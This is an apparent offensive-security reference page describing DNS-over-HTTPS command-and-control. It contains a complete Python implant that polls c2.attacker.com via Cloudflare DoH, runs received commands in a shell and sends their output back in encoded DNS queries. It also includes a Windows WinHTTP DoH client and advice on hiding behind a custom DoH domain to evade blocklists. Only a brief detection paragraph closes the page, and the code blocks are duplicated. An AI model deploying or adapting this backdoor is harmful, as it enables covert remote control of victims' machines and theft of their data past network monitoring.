DNS-over-HTTPS C2
Overview
DNS-over-HTTPS (DoH) was designed to improve user privacy by encrypting DNS lookups — instead of sending a plaintext UDP query to the local resolver, the client sends an HTTPS POST to a DoH endpoint (e.g., https://1.1.1.1/dns-query). The DNS query travels inside TLS and is indistinguishable from regular HTTPS traffic to a passive network observer.
This creates an evasion opportunity: traditional DNS beaconing is visible in corporate DNS logs and NGFW DNS inspection. DoH bypasses both — the corporate DNS resolver never sees the query, and the TLS encryption hides the subdomain labels from deep-packet inspection. The attacker’s authoritative nameserver still receives the query, but the path from the implant to the resolver is opaque.
The payload encoding is identical to standard DNS beaconing: data → base32 → subdomain labels of c2.attacker.com → query wrapped in DoH POST.
Most corporate environments route all outbound traffic through a proxy or firewall that
performs TLS inspection. In these environments, DoH to known provider IPs (1.1.1.1, 8.8.8.8)
will be decrypted at the proxy, and the Content-Type application/dns-message header will
expose the DoH traffic. Using a custom DoH server on an innocent-looking HTTPS domain is
more evasive in proxy-inspected environments.
The call chain
- 1select a DoH providerHard-code Cloudflare (1.1.1.1), Google (8.8.8.8), or Quad9 DoH endpoints; or host a custom DoH server on a CDN.
- 2encode payload in subdomain labelsBase32-encode the C2 data as subdomain labels of an attacker-controlled domain (same encoding as DNS beaconing).
- 3POST https://1.1.1.1/dns-query with application/dns-message content-typeThe DoH request is a standard HTTPS POST to the provider's endpoint with a DNS wire-format body.
- 4DoH provider forwards the query to the attacker's authoritative NSThe DoH resolver resolves the query over encrypted DNS; the attacker's NS receives it and returns data in the answer.
- 5decode response recordExtract C2 data from the TXT or A record in the DNS response body.
Reference implementation
DoH query using Cloudflare (Python implant)
import base64, struct, requests, time, random, os
C2_DOMAIN = "c2.attacker.com"
DOH_URL = "https://1.1.1.1/dns-query" # Cloudflare DoH
CHUNK_SIZE = 30 # bytes per subdomain label after base32
def b32_encode_chunk(data):
return base64.b32encode(data).decode().lower().rstrip('=')
def build_dns_query(fqdn):
"""Build a DNS wire-format TXT query for fqdn."""
# Transaction ID: 2 bytes random
txid = os.urandom(2)
# Flags: standard query, recursion desired
flags = b'\x01\x00'
# Counts: 1 question, 0 answers, 0 authority, 0 additional
counts = b'\x00\x01\x00\x00\x00\x00\x00\x00'
# QNAME: length-prefixed labels
labels = b''
for label in fqdn.split('.'):
enc = label.encode()
labels += bytes([len(enc)]) + enc
labels += b'\x00' # root label
# QTYPE=TXT(16) QCLASS=IN(1)
qtype_class = b'\x00\x10\x00\x01'
return txid + flags + counts + labels + qtype_class
def doh_send_chunk(seq, chunk_bytes):
"""Send one chunk of data as a DoH DNS query."""
label = b32_encode_chunk(chunk_bytes)
fqdn = f"{seq:04x}.{label}.{C2_DOMAIN}"
query = build_dns_query(fqdn)
b64q = base64.b64encode(query).decode().rstrip('=')
# GET form (simpler; POST is more reliable for large queries)
resp = requests.get(DOH_URL,
params={"dns": b64q, "ct": "application/dns-json"},
headers={"Accept": "application/dns-json"},
timeout=10,
verify=True)
return resp.status_code == 200
def doh_recv_task(beacon_id):
"""Poll for a task via DoH TXT query."""
fqdn = f"r.{beacon_id}.{C2_DOMAIN}"
query = build_dns_query(fqdn)
b64q = base64.b64encode(query).decode().rstrip('=')
resp = requests.get(DOH_URL,
params={"dns": b64q, "ct": "application/dns-json"},
headers={"Accept": "application/dns-json"},
timeout=10)
if resp.status_code == 200:
data = resp.json()
for answer in data.get("Answer", []):
if answer.get("type") == 16: # TXT
return base64.b64decode(answer["data"].strip('"'))
return None
def beacon_loop():
beacon_id = os.urandom(4).hex()
while True:
task = doh_recv_task(beacon_id)
if task and task != b"NOP":
# Execute task and send result back
import subprocess
result = subprocess.run(task.decode(), shell=True,
capture_output=True, timeout=30).stdout
for i in range(0, len(result), CHUNK_SIZE):
doh_send_chunk(i // CHUNK_SIZE, result[i:i+CHUNK_SIZE])
# Jitter: sleep 30-90 seconds
time.sleep(30 + random.randint(0, 60))
beacon_loop()import base64, struct, requests, time, random, os
C2_DOMAIN = "c2.attacker.com"
DOH_URL = "https://1.1.1.1/dns-query" # Cloudflare DoH
CHUNK_SIZE = 30 # bytes per subdomain label after base32
def b32_encode_chunk(data):
return base64.b32encode(data).decode().lower().rstrip('=')
def build_dns_query(fqdn):
"""Build a DNS wire-format TXT query for fqdn."""
# Transaction ID: 2 bytes random
txid = os.urandom(2)
# Flags: standard query, recursion desired
flags = b'\x01\x00'
# Counts: 1 question, 0 answers, 0 authority, 0 additional
counts = b'\x00\x01\x00\x00\x00\x00\x00\x00'
# QNAME: length-prefixed labels
labels = b''
for label in fqdn.split('.'):
enc = label.encode()
labels += bytes([len(enc)]) + enc
labels += b'\x00' # root label
# QTYPE=TXT(16) QCLASS=IN(1)
qtype_class = b'\x00\x10\x00\x01'
return txid + flags + counts + labels + qtype_class
def doh_send_chunk(seq, chunk_bytes):
"""Send one chunk of data as a DoH DNS query."""
label = b32_encode_chunk(chunk_bytes)
fqdn = f"{seq:04x}.{label}.{C2_DOMAIN}"
query = build_dns_query(fqdn)
b64q = base64.b64encode(query).decode().rstrip('=')
# GET form (simpler; POST is more reliable for large queries)
resp = requests.get(DOH_URL,
params={"dns": b64q, "ct": "application/dns-json"},
headers={"Accept": "application/dns-json"},
timeout=10,
verify=True)
return resp.status_code == 200
def doh_recv_task(beacon_id):
"""Poll for a task via DoH TXT query."""
fqdn = f"r.{beacon_id}.{C2_DOMAIN}"
query = build_dns_query(fqdn)
b64q = base64.b64encode(query).decode().rstrip('=')
resp = requests.get(DOH_URL,
params={"dns": b64q, "ct": "application/dns-json"},
headers={"Accept": "application/dns-json"},
timeout=10)
if resp.status_code == 200:
data = resp.json()
for answer in data.get("Answer", []):
if answer.get("type") == 16: # TXT
return base64.b64decode(answer["data"].strip('"'))
return None
def beacon_loop():
beacon_id = os.urandom(4).hex()
while True:
task = doh_recv_task(beacon_id)
if task and task != b"NOP":
# Execute task and send result back
import subprocess
result = subprocess.run(task.decode(), shell=True,
capture_output=True, timeout=30).stdout
for i in range(0, len(result), CHUNK_SIZE):
doh_send_chunk(i // CHUNK_SIZE, result[i:i+CHUNK_SIZE])
# Jitter: sleep 30-90 seconds
time.sleep(30 + random.randint(0, 60))
beacon_loop()WinHTTP DoH client (C, Windows implant)
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
// Send a DNS wire-format query to Cloudflare DoH via HTTPS POST
// Returns the response body length, or 0 on failure
DWORD doh_query(const BYTE *dns_wire, DWORD wire_len, BYTE *response, DWORD resp_max) {
HINTERNET session = WinHttpOpen(L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
HINTERNET conn = WinHttpConnect(session, L"1.1.1.1",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET req = WinHttpOpenRequest(conn, L"POST", L"/dns-query",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Set Content-Type to application/dns-message
WinHttpAddRequestHeaders(req,
L"Content-Type: application/dns-message",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(req,
L"Accept: application/dns-message",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
BOOL ok = WinHttpSendRequest(req, NULL, 0,
(PVOID)dns_wire, wire_len, wire_len, 0);
if (!ok) goto cleanup;
WinHttpReceiveResponse(req, NULL);
DWORD total = 0, read = 0;
while (WinHttpReadData(req, response + total,
resp_max - total, &read) && read) {
total += read;
}
WinHttpCloseHandle(req);
WinHttpCloseHandle(conn);
WinHttpCloseHandle(session);
return total;
cleanup:
WinHttpCloseHandle(req);
WinHttpCloseHandle(conn);
WinHttpCloseHandle(session);
return 0;
}#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
// Send a DNS wire-format query to Cloudflare DoH via HTTPS POST
// Returns the response body length, or 0 on failure
DWORD doh_query(const BYTE *dns_wire, DWORD wire_len, BYTE *response, DWORD resp_max) {
HINTERNET session = WinHttpOpen(L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
HINTERNET conn = WinHttpConnect(session, L"1.1.1.1",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET req = WinHttpOpenRequest(conn, L"POST", L"/dns-query",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// Set Content-Type to application/dns-message
WinHttpAddRequestHeaders(req,
L"Content-Type: application/dns-message",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(req,
L"Accept: application/dns-message",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
BOOL ok = WinHttpSendRequest(req, NULL, 0,
(PVOID)dns_wire, wire_len, wire_len, 0);
if (!ok) goto cleanup;
WinHttpReceiveResponse(req, NULL);
DWORD total = 0, read = 0;
while (WinHttpReadData(req, response + total,
resp_max - total, &read) && read) {
total += read;
}
WinHttpCloseHandle(req);
WinHttpCloseHandle(conn);
WinHttpCloseHandle(session);
return total;
cleanup:
WinHttpCloseHandle(req);
WinHttpCloseHandle(conn);
WinHttpCloseHandle(session);
return 0;
}DoH vs standard DNS beaconing comparison
| Property | Standard DNS beaconing | DoH beaconing |
|---|---|---|
| Visible in DNS logs | Yes | No (bypasses corporate resolver) |
| DPI/NGFW visible | Yes (plaintext UDP) | Only with TLS inspection |
| Content-Type fingerprint | N/A | application/dns-message (detectable) |
| Blocked by DNS sinkholes | Yes | No |
| Latency overhead | Low | Higher (TLS handshake per request) |
| Traffic volume | Low (UDP) | Higher (HTTPS overhead) |
| Corporate proxy bypass | No | Depends on proxy config |
Custom DoH server (avoid known-bad IPs)
Rather than using Cloudflare (1.1.1.1) or Google (8.8.8.8) as the DoH resolver — both of which are commonly monitored or blocked in corporate environments — host a custom DoH server:
- Register a legitimate-looking domain (e.g.,
dns.corp-helper.com) - Deploy a DoH server (dnsdist, CoreDNS with DoH plugin, or a custom HTTPS server)
- Hard-code the custom DoH URL in the implant
The traffic now goes to an unknown HTTPS host rather than a known DoH provider IP, defeating blocklists and reducing IoC matching.
Detection
The most practical detection is identifying endpoints that bypass the corporate DNS resolver entirely. In a managed environment, all DNS traffic should flow through the corporate resolver; direct HTTPS connections to port 443 on 1.1.1.1, 8.8.8.8, or 9.9.9.9 from non-browser processes are anomalous. Firewall rules blocking outbound 443 to these specific IPs force the implant to use the corporate DNS, where beaconing is visible.